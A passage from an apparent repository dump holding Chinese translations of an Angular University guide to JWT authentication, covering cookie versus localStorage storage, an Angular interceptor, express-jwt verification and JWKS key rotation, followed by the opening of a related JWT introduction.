请求的头部。\n\n这就意味着，如果我们将 JWT 存储到了 Cookie 中，假设登录页面和应用共享一个根域，那么在客户端上，我们不需要任何其他的逻辑，就可以让 Cookie 随每一个请求发送到应用服务器。\n\n然后，让我们把 JWT 存储到 Cookie 中，看看会发生什么。下面是我们对登录路由的实现，发送 JWT 到浏览器，存入 ：\n\n\n```\n... continuing the implementation of the Express login route\n\n// this is the session token we created above\nconst jwtBearerToken = jwt.sign(...);\n\n// set it in an HTTP Only + Secure Cookie\nres.cookie(\"SESSIONID\", jwtBearerToken, {httpOnly:true, secure:true});\n```\n查看 [raw05.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-05-ts) ❤托管于 [GitHub](https://github.com)\n\n除了使用 JWT 值设置 Cookie 外，我们还设置了一些我们将要讨论的安全属性。\n\n#### Cookie 独特的安全属性 —— HttpOnly 和安全标志\n\nCookie 另一个独特之处在于它有着一些与安全相关的属性，有助于确保数据的安全传输。\n\n一个 Cookie 可以标记为“安全”，这意味着如果浏览器通过 HTTPS 连接发起了请求，那么它只会附加到请求中。\n\n一个 Cookie 同样可以被标记为 Http Only，这就意味着它 **根本不能** 被 JavaScript 代码访问！请注意，浏览器依旧会将 Cookie 附加到对服务器的每个请求中，就像使用其他 Cookie 一样。\n\n这意味着，当我们删除 HTTP Only 的 Cookie 的时候，我们需要向服务器发送请求，例如注销用户。\n\n#### HTTP Only Cookie 的优点\n\nHTTP Only 的 Cookie 的一个优点是，如果应用遭受脚本注入攻击（或称 XSS），在这种荒谬的情况下， Http Only 标志仍然会阻止攻击者访问 Cookie ，阻止使用它冒充用户。\n\nSecure 和 Http Only 标志经常可以一起使用，以获得最大的安全性，这可能使我们认为 Cookie 是存储 JWT 的理想场所。\n\n但是 Cookie 也有一些缺点，那么我们来谈谈这些：这将有助于我们知晓在 JWT 中存储 Cookie 是否是一种适合我们应用的好方案。（译者注：原文是 “this will help us decide if storing cookies in a JWT is a good approach for our application”，但是上面的部分讲的是将 JWT 存入 Cookie 中，所以译者认为原文有误，但是还是选择尊重原文）\n\n#### Cookie 的缺点 —— XSRF（跨站请求伪造）\n\n将不记名令牌存储在 Cookie 中的应用，因此（因为这个 Cookie）遭受的攻击被称为跨站请求伪造（Cross-Site Request Forgery），也成为 XSRF 或者 CSRF。下面是其原理：\n\n* 有人发给你一个链接，并且你点击了它\n* 这个链接向受到攻击的网站最终发送了一个 HTTP 请求，其中包含了所有链接到该网站的 Cookie\n* 如果你登陆了网站，这意味着包含我们 JWT 不记名令牌的 Cookie 也会被转发，这是由浏览器自动完成的\n* 服务器接收到有效的 JWT，因此服务器无法区分这是攻击请求还是有效请求\n\n这就意味着攻击者可以欺骗用户代表他去执行某些操作，只需要发送一封电子邮件或者公共论坛上发布链接即可。\n\n这个攻击不像看起来那么吓人，但问题是执行起来很简单：只需要一封电子邮件或者社交媒体上的帖子。\n\n我们会在后文详细介绍这种攻击，现在需要知道的是，如果我们选择将我们的 JWT 存储到 Cookie 中，那么我们还需要对 XSRF 进行一些防御。\n\n好消息是，所有的主流框架都带有防御措施，可以很容易地对抗 XSRF，因为它是一个众所周知的漏洞。\n\n就像是发生过很多次一样，Cookie 设计上鱼和熊掌不能兼得：使用 Cookie 意味着利用 HTTP Only 可以很好的防御脚本注入，但是另一方面，它引入了一个新的问题 —— XSRF。\n\n#### Cookie 和第三方认证提供商\n\n在 Cookie 中接收会话 JWT 的潜在问题是，我们无法从处理验证逻辑的第三方域接收到它。\n\n这是因为在 `app.example.com` 运行的应用不能从 `security-provider.com` 等其他域访问 Cookie。\n因此在这种情况下，我们将无法访问包含 JWT 的 Cookie，并将其发送到我们的服务器进行验证，这个问题导致了 Cookie 不可用。\n\n#### 我们可以得到两个方案中的最优解吗？\n\n第三方认证提供商可能会允许我们在我们自己网站的可配置子域名中运行外部托管的登录页面，例如 `login.example.com`。\n\n因此，将所有这些解决方案中最好的部分组合起来是有可能的。下面是解决方案的样子：\n\n* 将外部托管的登录页面托管到我们自己的子域 `login.example.com` 上，`example.com` 上运行应用\n* 该页面设置了仅包含 JWT 的 HTTP Only 和 Secure 的 Cookie，为我们提供了很好的保护，以低于依赖窃取用户身份的多种类型的 XSS 攻击\n* 此外，我们需要添加一些 XSRF 防御功能，这里有一个很好理解的解决方案\n\n这将为我们提供最大限度的保护，防止密码和身份令牌被盗：\n\n* 应用永远不会获取密码\n* 应用代码从不访问会话 JWT，只访问浏览器\n* 该应用的请求不容易被伪造（XSRF）\n\n这种情况有时用于企业门户，可以提供很好的安全功能。但是这需要我们的登录页面支持托管到自定义域，且使用了安全提供程序或企业安全代理。\n\n但是，此功能（登录页面托管到自定义子域）并不总是可用，这使得 HTTP Only Cookie 方法可能失效。\n\n如果你的应用属于这种情况，或者你正寻找不依赖 Cookie 的替代方案，那么让我们回到最初的起点，看看我们可以做什么。\n\n#### 在 HTTP 响应正文中发送回 JWT\n\n具有 HTTP Only 特性的 Cookie 是存储 JWT 的可靠选择，但是还会有其他很好的选择。例如我们不使用 Cookie，而是在 HTTP 响应体中将 JWT 发送回客户端。\n\n我们不仅要发送 JWT 本身，而且还要将过期时间戳作为单独的属性发送。\n\n的确，过期时间戳在 JWT 中也可以获取到，但是我们希望让客户端能够简单地获得会话持续时间，而不必要为此再安装一个 JWT 库。\n\n以下使我们如何在 HTTP 响应体中将 JWT 发送回客户端：\n\n```\n... 继续 Express 登录路由的实现\n\n// 这是我们上面创建的会话令牌\nconst jwtBearerToken = jwt.sign(...);\n\n// 将其放入 HTTP 响应体中\nres.status(200).json({\n  idToken: jwtBearerToken, \n  expiresIn: ...\n});\n\n```\n查看 [raw06.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-06-ts) ❤托管于 [GitHub](https://github.com)\n\n这样，客户端将收到 JWT 及其过期时间戳。\n\n#### 为了不使用 Cookie 存储 JWT 所进行的设计妥协\n\n不使用 Cookie 的优点是我们的应用不再容易受到 XSRF 攻击，这是这种方法的优点之一。\n\n但是这同样意味着我们将不得不添加一些客户端代码来处理令牌，因为浏览器将不再为每个向应用服务器发送的请求转发它。\n\n这也意味着，在成功的脚本注入攻击的情况下，攻击者此时可以读取到 JWT 令牌，而存储到 HTTP Only Cookie 则不可能读取到。\n\n这是与选择安全解决方案有关的设计折衷的一个好例子：通常是安全与便利的权衡。\n\n让我们继续跟随我们的 JWT 不记名令牌的旅程。由于我们将 JWT 通过请求体发回给客户端，我们需要阅读并处理它。（译者注：原文是“Since we are sending the JWT back to the client in the request body”，译者认为应该是响应体（response body），但是尊重原文）\n\n\n### 第四步 —— 在客户端存储使用 JWT\n\n一旦我们在客户端收到了 JWT，我们需要把它存储在某个地方。否则，如果我们刷新浏览器，它将会丢失。那么我们就必须要重新登录了。\n\n有很多地方可以保存 JWT（Cookie 除外）。本地存储（Local Storage）是存储 JWT 的实用场所，它是以字符串的键值对的形式存储的，非常适合存储少量数据。\n\n请注意，本地存储具有同步 API。让我们来看看实用本地存储的登录与注销逻辑的实现：\n\n```\nimport * as moment from \"moment\";\n\n@Injectable()\nexport class AuthService {\n\n    constructor(private http: HttpClient) {\n\n    }\n\n    login(email:string, password:string ) {\n        return this.http.post<User>('/api/login', {email, password})\n            .do(res => this.setSession) \n            .shareReplay();\n    }\n          \n    private setSession(authResult) {\n        const expiresAt = moment().add(authResult.expiresIn,'second');\n\n        localStorage.setItem('id_token', authResult.idToken);\n        localStorage.setItem(\"expires_at\", JSON.stringify(expiresAt.valueOf()) );\n    }          \n\n    logout() {\n        localStorage.removeItem(\"id_token\");\n        localStorage.removeItem(\"expires_at\");\n    }\n\n    public isLoggedIn() {\n        return moment().isBefore(this.getExpiration());\n    }\n\n    isLoggedOut() {\n        return !this.isLoggedIn();\n    }\n\n    getExpiration() {\n        const expiration = localStorage.getItem(\"expires_at\");\n        const expiresAt = JSON.parse(expiration);\n        return moment(expiresAt);\n    }    \n}\n```          \n查看 [raw07.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-07-ts) ❤托管于 [GitHub](https://github.com)\n\n让我们分析一下这个实现过程中发生了什么，从 login 方法开始：\n\n* 我们接收到包含 JWT 和 `expiresIn` 属性的 login 调用的结果，并直接将它传递给 `setSession` 方法\n* 在 `setSession` 中，我们直接将 JWT 存储到本地存储中的 `id_token` 键值中\n* 我们使用当前时间和 `expiresIn` 属性计算过期时间戳\n* 然后我们还将过期时间戳保存为本地存储中 `expires_at` 条目中的一个数字值\n\n### 在客户端使用会话信息\n\n现在我们在客户端拥有全部的会话信息，我们可以在客户端应用的其余部分使用这些信息。\n\n例如，客户端应用需要知道用户是否登陆或者注销，以判断某些比如登录/注销菜单按钮这类的 UI 元素的显示与否。\n\n这些信息现在可以通过 `isLoggedIn()`, `isLoggedOut()` 和 `getExpiration()` 获取。\n\n\n### 对服务器的每次请求都携带 JWT\n\n现在我们已经将 JWT 保存在用户浏览器中，让我们继续追随其在网络中的旅程。\n\n让我们来看看如何使用它来让应用服务器知道一个给定的 HTTP 请求属于特定用户。这是认证方案的全部要点。\n\n以下是我们需要做的事情：我们需要用某种方式为 HTTP 附加 JWT，并发送到应用服务器。\n\n然后应用服务器将验证请求并将其链接到用户，只需要检查 JWT，检查其签名并从有效内容中读取用户标识。\n\n为了确保每个请求都包含一个 JWT，我们将使用一个 Angular HTTP 拦截器。\n\n### 如何构建一个身份验证 HTTP 拦截器\n\n以下是 Angular 拦截器的代码，用于为每个请求附加 JWT 并发送给应用服务器：\n\n```\n@Injectable()\nexport class AuthInterceptor implements HttpInterceptor {\n\n    intercept(req: HttpRequest<any>,\n              next: HttpHandler): Observable<HttpEvent<any>> {\n\n        const idToken = localStorage.getItem(\"id_token\");\n\n        if (idToken) {\n            const cloned = req.clone({\n                headers: req.headers.set(\"Authorization\",\n                    \"Bearer \" + idToken)\n            });\n\n            return next.handle(cloned);\n        }\n        else {\n            return next.handle(req);\n        }\n    }\n}\n\n``` \n查看 [raw08.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-08-ts) ❤托管于 [GitHub](https://github.com)\n\n那么让我们来分解以下这个代码是如何工作：\n\n* 我们首先直接从本地存储检索 JWT 字符串\n* 请注意，我们没有在这里注入 AuthService，因为这里会导致循环依赖错误\n* 然后我们将检查 JWT 是否存在\n* 如果 JWT 不存在，那么请求将通过服务器进行修改\n* 如果 JWT 存在，那么我们就克隆 HTTP 头，并添加额外的认证（Authorization）头，其中将包含 JWT\n\n并且在此处，最初在认证服务器上创建的 JWT 现在会随着每个请求发送到应用服务器。\n\n我们来看看应用服务器如何使用 JWT 来识别用户。\n\n### 验证服务端的 JWT\n为了验证请求，我们需要从 `Authorization` 头中提取 JWT，并检查时间戳和用户标识符。\n\n我们不希望将这个逻辑应用到所有的后端路由，因为某些路由是所有用户公开访问的。例如，如果我们建立了自己的登陆和注册路由，那么这些路由应该可以被所有用户访问。\n\n另外，我们不希望在每个路由基础上都重复验证逻辑，因此最好的解决方案是创建一个 Express 认证中间件，并将其应用于特定的路由。\n\n假设我们已经定义了一个名为 `checkIfAuthenticated` 的 express 中间件，这是一个可重用的函数，它只在一个地方包含认证逻辑。\n\n以下是我们如何将其应用于特定的路由：\n\n```\nimport * as express from 'express';\n\nconst app: Application = express();\n\n// ... 定义 checkIfAuthenticated 中间件\n// 检查用户是否仅在某些路由进行身份验证\napp.route('/api/lessons')\n    .get(checkIfAuthenticated, readAllLessons);\n```\n\n查看 [raw10.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-10-ts) ❤托管于 [GitHub](https://github.com)\n\n在这个例子中，`readAllLessons` 是一个 Express 路由，如果一个 GET 请求到达 `/api/lessons` Url，它就会提供一个 JSON 列表。\n\n我们已经通过在 REST 端点之前应用 `checkIfAuthenticated` 中间件，使得这个路由只能被认证的用户访问，这意味着中间件功能的顺序很重要。\n\n如果没有有效的 JWT，`checkIfAuthenticated` 中间件将会报错，或允许请求通过中间件链继续。\n\n在 JWT 存在的情况下，如果签名正确但是过期，中间件也需要抛出错误。请注意，在使用基于 JWT 的身份验证的任何应用中，所有这些逻辑都是相同的。\n\n我们可以使用 [node-jsonwebtoken](https://github.com/auth0/node-jsonwebtoken) 自己编写的中间件，但是这个逻辑很容易出错，所以我们使用第三方库。\n\n### 使用 express-jwt 配置 JWT 验证中间件\n\n为了创建 `checkIfAuthenticated` 中间件，我们将使用 [express-jwt](https://github.com/auth0/express-jwt) 库。\n\n这个库可以让我们快速创建常用的基于 JWT 的身份验证设置的中间件，所以我们来看看如何使用它来验证 JWT，比如我们在登录服务中创建 JWT（使用 RS256 签名）。\n\n首先假定我们首先在服务器的文件系统中安装了签名验证公钥。以下是我们如何使用它来验证 JWT：\n\n```\nconst expressJwt = require('express-jwt');\n\nconst RSA_PUBLIC_KEY = fs.readFileSync('./demos/public.key');\n\nconst checkIfAuthenticated = expressJwt({\n    secret: RSA_PUBLIC_KEY\n}); \n\napp.route('/api/lessons')\n    .get(checkIfAuthenticated, readAllLessons);\n```\n查看 [raw11.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-11-ts) ❤托管于 [GitHub](https://github.com)\n\n现在让我们逐行分解代码：\n\n* 我们通过从文件系统读取公钥来开始，这将用于验证 JWT\n* 此密钥只能用于验证现有的 JWT，而不能创建和签署新的 JWT\n* 我们将公钥传递给了 `express-jwt`，并且我们得到一个准备使用的中间件函数！\n\n如果认证头没有正确签名的 JWT，那么这个中间件将会抛出错误。如果 JWT 签名正确，但是已经过期，中间件也会抛出错误。\n\n如果我们想要改变默认的异常处理方法，比如不将异常抛出。而是返回一个状态码 401 和一个 JSON 负载的消息，这也是[可以的](https://github.com/auth0/express-jwt#error-handling)。\n\n使用 RS256 签名的主要优点之一是我们不需要像我们在这个例子中所做的那样，在应用服务器上安装公钥。\n\n想象一下，服务器上有几个正在运行的实例：在任何地方同时替换公钥都会出现问题。\n\n#### 利用 RS256 签名\n\n由认证服务器在公开访问的 URL 中**发布**用于验证 JWT 的公钥。而不是在应用服务器上安装公钥。\n\n这给我们带来了很多好处，比如说可以简化密钥轮换和撤销。如果我们需要一个新的密钥对，我们只需要发布一个新的公钥。\n\n通常密钥周期轮换期间内，我们会将两个密钥发布和激活一段时间，这段时间一般大于会话时序时间，目的是不中断用户体验，然而撤销可能会更有效。\n\n攻击者可以使用公钥，但是这没有危险。攻击者可以使用公钥进行攻击的唯一方法是验证现有 JWT 签名，可是这对攻击者无用。\n\n攻击者无法使用公钥伪造新创建的 JWT，或者以某种方式使用公钥猜测私钥签名值。（译者注：这一部分主要涉及的是对称加密和非对称加密，感觉说的很啰嗦）\n\n现在的问题是，如何发布公钥？\n\n### JWKS (JSON Web 密钥集) 端点和密钥轮换\n\nJWKS 或者 [JSON Web 密钥集](https://auth0.com/docs/jwks) 是用于在 REST 端点中基于 JSON 标准发布的公钥。\n\n这种类型的端点输出有点吓人，但好消息是我们不必直接使用这种格式，因为有一个库直接使用了它：\n\n```\n{\n  \"keys\": [\n    {\n      \"alg\": \"RS256\",\n      \"kty\": \"RSA\",\n      \"use\": \"sig\",\n      \"x5c\": [\n        \"MIIDJTCCAg2gAwIBAgIJUP6A\\/iwWqvedMA0GCSqGSIb3DQEBCwUAMDAxLjAsBgNVBAMTJWFuZ3VsYXJ1bml2LXNlY3VyaXR5LWNvdXJzZS5hdXRoMC5jb20wHhcNMTcwODI1MTMxNjUzWhcNMzEwNTA0MTMxNjUzWjAwMS4wLAYDVQQDEyVhbmd1bGFydW5pdi1zZWN1cml0eS1jb3Vyc2UuYXV0aDAuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUvZ+4dkT2nTfCDIwyH9K0tH4qYMGcW\\/KDYeh+TjBdASUS9cd741C0XMvmVSYGRP0BOLeXeaQaSdKBi8uRWFbfdjwGuB3awvGmybJZ028OF6XsnKH9eh\\/TQ\\/8M\\/aJ\\/Ft3gBHJmSZCuJ0I3JYSBEUrpCkWjkS5LtyxeCPA+usFAfixPnU5L5lyacj3t+dwdFHdkbXKUPxdVwwkEwfhlW4GJ79hsGaGIxMq6PjJ\\/\\/TKkGadZxBo8FObdKuy7XrrOvug4FAKe+3H4Y5ZDoZZm5X7D0ec4USjewH1PMDR0N+KUJQMRjVul9EKg3ygyYDPOWVGNh6VC01lZL2Qq244HdxRwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH\\/MB0GA1UdDgQWBBRwgr0c0DYG5+GlZmPRFkg3+xMWizAOBgNVHQ8BAf8EBAMCAoQwDQYJKoZIhvcNAQELBQADggEBACBV4AyYA3bTiYWZvLtYpJuikwArPFD0J5wtAh1zxIVl+XQlR+S3dfcBn+90J8A677lSu0t7Q7qsZdcsrj28BKh5QF1dAUQgZiGfV3Dfe4\\/P5wUaaUo5Y1wKgFiusqg\\/mQ+kM3D8XL\\/Wlpt3p804dbFnmnGRKAJnijsvM56YFSTVO0JhrKv7XeueyX9LpifAVUJh9zFsiYMSYCgBe3NIhIfi4RkpzEwvFIBwtDe2k9gwIrPFJpovZte5uvi1BQAAoVxMuv7yfMmH6D5DVrAkMBsTKXU1z3WdIKbrieiwSDIWg88RD5flreeTDaCzrlgfXyNybi4UTUshbeo6SdkRiGs=\"\n      ],\n      \"n\": \"wUvZ-4dkT2nTfCDIwyH9K0tH4qYMGcW_KDYeh-TjBdASUS9cd741C0XMvmVSYGRP0BOLeXeaQaSdKBi8uRWFbfdjwGuB3awvGmybJZ028OF6XsnKH9eh_TQ_8M_aJ_Ft3gBHJmSZCuJ0I3JYSBEUrpCkWjkS5LtyxeCPA-usFAfixPnU5L5lyacj3t-dwdFHdkbXKUPxdVwwkEwfhlW4GJ79hsGaGIxMq6PjJ__TKkGadZxBo8FObdKuy7XrrOvug4FAKe-3H4Y5ZDoZZm5X7D0ec4USjewH1PMDR0N-KUJQMRjVul9EKg3ygyYDPOWVGNh6VC01lZL2Qq244HdxRw\",\n      \"e\": \"AQAB\",\n      \"kid\": \"QzY0NjREMjkyQTI4RTU2RkE4MUJBRDExNzY1MUY1N0I4QjFCODlBOQ\",\n      \"x5t\": \"QzY0NjREMjkyQTI4RTU2RkE4MUJBRDExNzY1MUY1N0I4QjFCODlBOQ\"\n    }\n  ]\n}\n```\n查看 [raw12.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-12-ts) ❤托管于 [GitHub](https://github.com)\n\n关于这种格式的一些细节：`kid` 代表密钥标识符，而 `x5c` 属性是公钥本身（它是 x509 证书链）。\n\n再次强调，我们不必要编写代码来使用这种格式，但是我们需要对这个 REST 端点中发生的事情有一点了解：他只是简单地发布一个公钥。\n\n\n### 使用 `node-jwks-rsa` 库实现 JWT 密钥轮换\n\n由于公钥的格式是标准化的，我们需要的是一种读取密钥的方法，并将其传递给 `express-jwt` ，如此以便它可以代替从文件系统中读取出来的公钥。\n\n而这正是 [node-jwks-rsa](https://github.com/auth0/node-jwks-rsa) 库让我们做的！我们来看看这个库的运作：\n\n```\nconst jwksRsa = require('jwks-rsa');\nconst expressJwt = require('express-jwt');\n\nconst checkIfAuthenticated = expressJwt({\n    secret: jwksRsa.expressJwtSecret({\n        cache: true,\n        rateLimit: true,\n        jwksUri: \"https://angularuniv-security-course.auth0.com/.well-known/jwks.json\"\n    }),\n    algorithms: ['RS256']\n});\n\napp.route('/api/lessons')\n    .get(checkIfAuthenticated, readAllLessons);\n\n```\n查看 [raw14.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-14-ts) ❤托管于 [GitHub](https://github.com)\n\n这个库通过 `jwksUri` 属性指定 URL 读取公钥，并使用其验证 JWT 签名。我们需要做的只是匹配网址，如果需要的话还需要设置一些额外参数。\n\n#### 使用 JWT 端点的配置选项\n\n建议将 `cache` 属性设置为 true，以防每次都检索公钥。默认情况下，一个密钥会保留 10 小时，然后再检查它是否有效，同时最多缓存 5 个密钥。\n\n`rateLimit` 属性也应该被启用，以确保库每分钟不会向包含公钥服务器发起超过 10 个请求。\n\n这是为了避免出现拒绝服务的情况，由于某种情况（包括攻击，但也许是一个 bug），公共服务器会不断进行公钥轮换。\n\n这将使应用服务器很快停止，因为它有很好的内置防御措施！如果你想要更改这些默认参数，请查看[库文档](https://github.com/auth0/node-jwks-rsa#caching)来获取更多详细信息。\n\n这样，我们已经完成了 JWT 的网络之旅！\n\n* 我们已经在应用服务器中创建并签名了一个 JWT\n* 我们已经展示了如何在客户端使用 JWT 并将其随每个 HTTP 请求发送回服务器\n* 我们已经展示了应用服务器如何验证 JWT，并将每个请求链接到给定用户\n\n我们已经讨论了这个往返过程中涉及到的多个设计方案。让我们总结一下我们所学到的。\n\n### 总结和结论\n\n将认证和授权等安全功能委派给第三方基于 JWT 的提供商或者产品比以往更加合适，但这并不意味着安全性可以透明地添加到应用中。\n\n即使我们选择了第三方认证提供商或企业级单点登录解决方案，如果没有其他可以用来理解我们所选的产品或者库的文档，我们至少也要知道其中关于 JWT 的一些处理细节。\n\n我们仍然需要自己做很多安全设计方案，选择库和产品，选择关键配置选项，如 JWT 签名类型，设置托管登录页面（如果可用），并放置一些非常关键的、很容易出错安全相关代码。\n\n希望这篇文章对你有帮助并且你能喜欢它！如果您有任何问题或者意见，请在下面的评论区告诉我，我将尽快回复您。\n\n如果有更多的贴子发布，我们将通知你订阅我们的新闻列表。\n\n### 相关链接\n\n[Auth0 的 JWT 手册](https://auth0.com/e-books/jwt-handbook)\n\n[浏览 RS256 和 JWKS](https://auth0.com/blog/navigating-rs256-and-jwks/)\n\n[爆破 HS256 是可能的: 使用强密钥在签署 JWT 的重要性](https://auth0.com/blog/brute-forcing-hs256-is-possible-the-importance-of-using-strong-keys-to-sign-jwts/)\n\n[JSON Web 密钥集（JWKS）](https://auth0.com/docs/jwks)\n\n### YouTube 上提供的视频课程\n\n看看 Angular 大学的 Youtube 频道，我们发布了大约 25％ 到三分之一的视频教程，新视频一直在出版。\n\n[订阅](http://www.youtube.com/channel/UC3cEGKhg3OERn-ihVsJcb7A?sub_confirmation=1) 获取新的视频教程：\n\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/PRQCAL_RMVo?list=PLOa5YIicjJ-VF39NLCZ304G6GDjvpJEca\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n## Angular 上的其他帖子\n\n同样可以看看其他很受欢迎的帖子，你可能会觉得有趣：\n\n* [Angular 入门 —— 开发环境最佳实践使用 Yarn、Angular CLI，设置 IDE](http://blog.angular-university.io/getting-started-with-angular-setup-a-development-environment-with-yarn-the-angular-cli-setup-an-ide/)\n* [SPA 应用有什么好处？什么是 SPA？](http://blog.angular-university.io/why-a-single-page-application-what-are-the-benefits-what-is-a-spa/)\n* [Angular 智能组件与演示组件：有什么区别，什么时候使用哪一个，为什么？](http://blog.angular-university.io/angular-2-smart-components-vs-presentation-components-whats-the-difference-when-to-use-each-and-why)\n* [Angular 路由 —— 如何使用 Bootstrap 4 和 嵌套路由建立一个导航菜单](http://blog.angular-university.io/angular-2-router-nested-routes-and-nested-auxiliary-routes-build-a-menu-navigation-system/)\n* [Angular 路由 —— 延伸导游，避免常见陷阱](http://blog.angular-university.io/angular2-router/)\n* [Angular 组件 —— 基础](http://blog.angular-university.io/introduction-to-angular-2-fundamentals-of-components-events-properties-and-actions/)\n* [如何使用可观察数据服务构建 Angular 应用 —— 避免陷阱](http://blog.angular-university.io/how-to-build-angular2-apps-using-rxjs-observable-data-services-pitfalls-to-avoid/)\n* [Angular 形式的介绍 —— 模板驱动与模型驱动](http://blog.angular-university.io/introduction-to-angular-2-forms-template-driven-vs-model-driven/)\n* [Angular ngFor —— 了解所有功能，包括 trackBy，为什么它不仅仅适用于数组？](http://blog.angular-university.io/angular-2-ngfor/)\n* [Angular 大学实践 —— 如何用 Angular 构建 SEO 友好的单页面应用](http://blog.angular-university.io/angular-2-universal-meet-the-internet-of-the-future-seo-friendly-single-page-web-apps/)\n* [Angular 的更正变化如何真正的起作用？](http://blog.angular-university.io/how-does-angular-2-change-detection-really-work/)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/angular-jwt.md",
    "content": "> * 原文地址：[JWT: The Complete Guide to JSON Web Tokens](https://blog.angular-university.io/angular-jwt/)\n> * 原文作者：[angular-university](https://blog.angular-university.io)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/angular-jwt.md](https://github.com/xitu/gold-miner/blob/master/TODO/angular-jwt.md)\n> * 译者：[rottenpen](https://github.com/rottenpen)\n> * 校对者：[FateZeros](https://github.com/FateZeros)，[tvChan](https://github.com/tvChan)\n\n# JWT: JSON Web Tokens 全方位指南\n\n这篇推送是手把手教你在 Angular 应用中使用基于 JWT 验证用户身份两部曲的第一部分（也适用于企业应用程序）\n\n本文的目标是先让我们了解 **JSON Web Tokens（或 JWT）具体是如何工作的**，包括如何将它们用于Web应用程序中的用户身份验证和会话管理。\n\n第二部分，我们将会看到在具有特定上下文的Angular应用中，基于JWT的认证是怎样运用的，但这篇文章只关于 JWTs。\n\n### 为什么需要深入探讨 JWT\n\n对了解 JWTs 至关重要的几个点：\n\n* 实现一种基于 JWT 的认证解决方案\n* 各种实际故障排除：理解错误消息，堆栈跟踪\n* 选择第三方库并理解他们的文档\n* 设计一个内部认证解决方案\n* 选择和配置第三方认证服务\n\n即使准备选择使用基于 JWT 的认证解决方案时，仍然会涉及一些编码，特别是在客户端上，还有在服务端上。\n\n在这篇文章的最后，您将深入了解 JWT，包括深入了解他们所基于的密码原语，这些原语在许多其他安全用例中都有使用。\n\n你会知道什么时候用 JWT，为什么会用到它，会了解 JWT 的格式以便手动排除签名故障，还有知道一些在线/Node 工具来实现它。\n\n使用这些工具，您将能够排除许多与 JWT 有关的错误情况。所以，我们不妨开始深入探索我们的 JWT！\n\n### 为什么是 JWTs\n\nJWTs 最大的优势（相对于用户会话管理中使用内存里的随机令牌）是它们可以把认证逻辑委托到第三方服务器：\n\n* 可以是一个集中的内部开发身份验证服务器\n* 更典型的是一个商业产品能像 LDAP 服务器一样发布 JWTs\n* 甚至可以是一个完全外部的第三方认证供应商，例如 Auth0\n\n外部认证服务器 _可以完全独立于我们的应用服务器_，并且不必与网络的其他元素共享任何密钥，也就是说，在我们的应用服务器上根本就没有密钥，别说是丢失或被盗了。\n\n另外，身份验证服务器或应用服务器之间不需要任何直接的实时链接来进行身份验证（稍后将进一步讨论）。\n\n此外，应用服务器可以 **完全无状态**，因为不需要在请求之间保留内存中的令牌。身份验证服务器可以发出令牌，将其发送回，然后立即丢弃它！\n\n此外，也**不需要在应用程序数据库的存储密码摘要**，因此能被盗的东西更少，而与安全性相关的bug也会更少。\n\n在这个点上，你可能会想：我有一个公司内部的应用，JWTs 是不是一个很好的解决方案？对，在这篇文章的最后一部分会讲到 jwts 在典型的预认证企业中的使用情况。\n\n### 正文目录\n\n在这文章中，我们将涵盖如下章节：\n\n* 什么是JWTs\n* JWT的在线认证工具\n* JSON Web Token 的规范\n* 简单地说下什么是 JWTs：Header, Payload, Signature\n* Base64Url （vs Base64）\n* 使用JWT的用户会话管理：主体和过期时间\n* HS256 JWT 签名 - 是如何运作的\n* 数字签名\n* hash 函数和 SHA-256\n* RS256 JWT 签名 - 我们来讨论下公钥加密\n* RS256 vs HS256 签名 - 哪一个更好？\n* WKS （JSON Web Key Set）密钥集端点\n* 如何实现 JWT 签名周期性的密钥刷新\n* jwt在企业中的应用\n* 结语\n\n### 什么是JWTs\n\nJSON Web Token（ JWT ）只是一个包含特定声明的 JSON 有效内容。 JWTs的 *关键属性* 在于确认令牌本身是否有效。\n\n我们不需要连接第三方服务器，也不需要在请求间保存JWTs到内存中，来确认它们携带的声明是有效的。\n\n一个 jwt 分为3个部分：头部 header, 载荷 payload, 签名 signature。让我们从载荷开始一个个介绍吧。\n\n#### JWT 的 Payload 长什么样子？\n\nJWT 的载荷只是一个简单的 JavaScript 对象。这是一个载荷的例子：\n\n在这种情况下，一个载荷包含了关于给定用户的身份信息，但一般情况下，载荷可以是其他任何东西例如包括银行转账的信息。\n\n对载荷的内容是没有限制，但是重点是要知道，**JWT 是不加密的**。所以我们放入 token 的任何信息对于拦截 token 的任何人都是可读的。\n\n因此重点是不要在载荷上放任何用户信息给攻击者直接利用。\n\n#### JWT Headers - 为什么它们那么必不可少？\n\n接收方通过检查签名确认载荷的内容。但是签名有多种类型，所以例如接收者需要知道的事情之一是要查找签名是哪种类型。\n\n这种关于令牌本身的技术元数据信息被放置在一个单独的 JavaScript 对象中，并与载荷一起发送。\n\n这个单独的JSON对象被称为JWT头，这里是一个有效头的例子：\n\n正如我们所看到的，它也只是一个简单的 Javascript 对象。在这个头文件中，我们可以看到用于这个 JWT 的签名类型是 RS256。\n\n很快你会看到更多类型的签名，现在我们先重点了解签名的存在对于身份验证的影响。\n\n#### 